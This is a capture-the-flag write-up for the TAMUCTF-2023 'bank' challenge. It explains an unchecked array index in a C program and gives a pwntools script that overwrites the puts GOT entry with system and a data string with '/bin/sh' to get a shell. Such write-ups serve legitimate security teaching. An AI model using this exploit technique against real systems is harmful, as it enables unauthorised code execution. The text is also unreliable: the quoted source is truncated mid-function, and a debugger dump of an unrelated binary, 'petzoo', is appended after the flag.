By: unvariant

Tags: Pwn TAMUCTF-2023

Problem Description:

I came up with this banking system that lets you deposit as much as you want. I'm not sure why, but my friend said it was a terrible idea...


Reveal Hints None

The challenge provides a few files:

├── bank
├── bank.c
├── libc.so.6
└── solver-template.py

bank.c is fairly simple:

#include <stdio.h>

long accounts[100];
char exit_msg[] = "Have a nice day!";

void deposit() {
    int index = 0;
    long amount = 0;
    puts("Enter the number (0-100) of the account you want to deposit in: ");
    scanf("%d", &index);
    puts("Enter the amount you want to deposit: ");
    scanf("%ld", &amount);
    accounts[index] += amount;

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

The vulnerable function is deposit because it allows the user to control the value of index and does not perform any bounds checking. This allows the user to supply positive and negative indices that are outside of the array and modify them.

Another thing to notice is that the exit_msg string is in the .data section, which means we are able to modify it. ghidra decomp


  1. modify puts GOT entry to system
  2. modify exit_msg to /bin/sh

They provide us the libc so we know the offset of puts from system, and the binary is no-PIE so the address of exit_msg is known. After performing these two modifications puts will call system("/bin/sh") and give us a shell.

Solve script
from pwn import *

file = ELF("./bank")
libc = ELF("./libc.so.6")

p = remote("tamuctf.com", 443, ssl=True, sni="bank")

offset = (file.got["puts"] - file.symbols["accounts"]) // 8
addend = libc.symbols["system"] - libc.symbols["puts"]

print(f"offset: {offset}")
print(f"system: {addend}")

p.sendlineafter(b": ", str(offset).encode())
p.sendlineafter(b": ", str(addend).encode())

offset = (file.symbols["exit_msg"] - file.symbols["accounts"]) // 8
addend = u64(b"/bin/sh\x00") - u64(b"Have a n")

p.sendlineafter(b": ", str(offset).encode())
p.sendlineafter(b": ", str(addend).encode())


Flag: gigem{a_v3ry_h3fty_d3p0s1t}

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000055ad4eb4b57a<main+0> endbr64 
$rbx   : 0x000055ad4eb4c1b0<__libc_csu_init+0> endbr64 
$rcx   : 0x100             
$rdx   : 0x00007ffff342dec80x00007ffff342fbc7"KDE_FULL_SESSION=true"
$rsp   : 0x00007ffff342ddc0  →  0x0000000000000000
$rbp   : 0x00007ffff342ddc0  →  0x0000000000000000
$rsi   : 0x00007ffff342deb80x00007ffff342fbbe"./petzoo"
$rdi   : 0x1               
$rip   : 0x000055ad4eb4b582<main+8> push rbx
$r8    : 0x0               
$r9    : 0x00007f5e2bac0ec0  →  0x00007f5e2bac0008  →  0x00007f5e2b996c90<__cxxabiv1::__class_type_info::~__class_type_info()+0> endbr64 
$r10   : 0x00007f5e2b9441d5  →  "_ZSt9use_facetISt7num_getIwSt19istreambuf_iterator[...]"
$r11   : 0x00007f5e2ba37940<std::num_get<wchar_t,+0> endbr64 
$r12   : 0x000055ad4eb4b310<_start+0> endbr64 
$r13   : 0x00007ffff342deb0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffff342ddc0│+0x0000: 0x0000000000000000	← $rsp, $rbp
0x00007ffff342ddc8│+0x0008: 0x00007f5e2b7080b3<__libc_start_main+243> mov edi, eax
0x00007ffff342ddd0│+0x0010: 0x00007f5e2b8ccb80  →  0x0000000000000000
0x00007ffff342ddd8│+0x0018: 0x00007ffff342deb80x00007ffff342fbbe"./petzoo"
0x00007ffff342dde0│+0x0020: 0x0000000100011c00
0x00007ffff342dde8│+0x0028: 0x000055ad4eb4b57a<main+0> endbr64 
0x00007ffff342ddf0│+0x0030: 0x000055ad4eb4c1b0<__libc_csu_init+0> endbr64 
0x00007ffff342ddf8│+0x0038: 0xdfffe3bceac6adbf
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55ad4eb4b57a <main+0>         endbr64 
   0x55ad4eb4b57e <main+4>         push   rbp
   0x55ad4eb4b57f <main+5>         mov    rbp, rsp
 → 0x55ad4eb4b582 <main+8>         push   rbx
   0x55ad4eb4b583 <main+9>         sub    rsp, 0x2e8
   0x55ad4eb4b58a <main+16>        mov    rax, QWORD PTR fs:0x28
   0x55ad4eb4b593 <main+25>        mov    QWORD PTR [rbp-0x18], rax
   0x55ad4eb4b597 <main+29>        xor    eax, eax
   0x55ad4eb4b599 <main+31>        mov    rax, QWORD PTR [rip+0x3aa0]        # 0x55ad4eb4f040 <stdout@@GLIBC_2.2.5>
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "petzoo", stopped 0x55ad4eb4b582 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55ad4eb4b582 → main()
[#1] 0x7f5e2b7080b3 → __libc_start_main()
[#2] 0x55ad4eb4b33e → _start()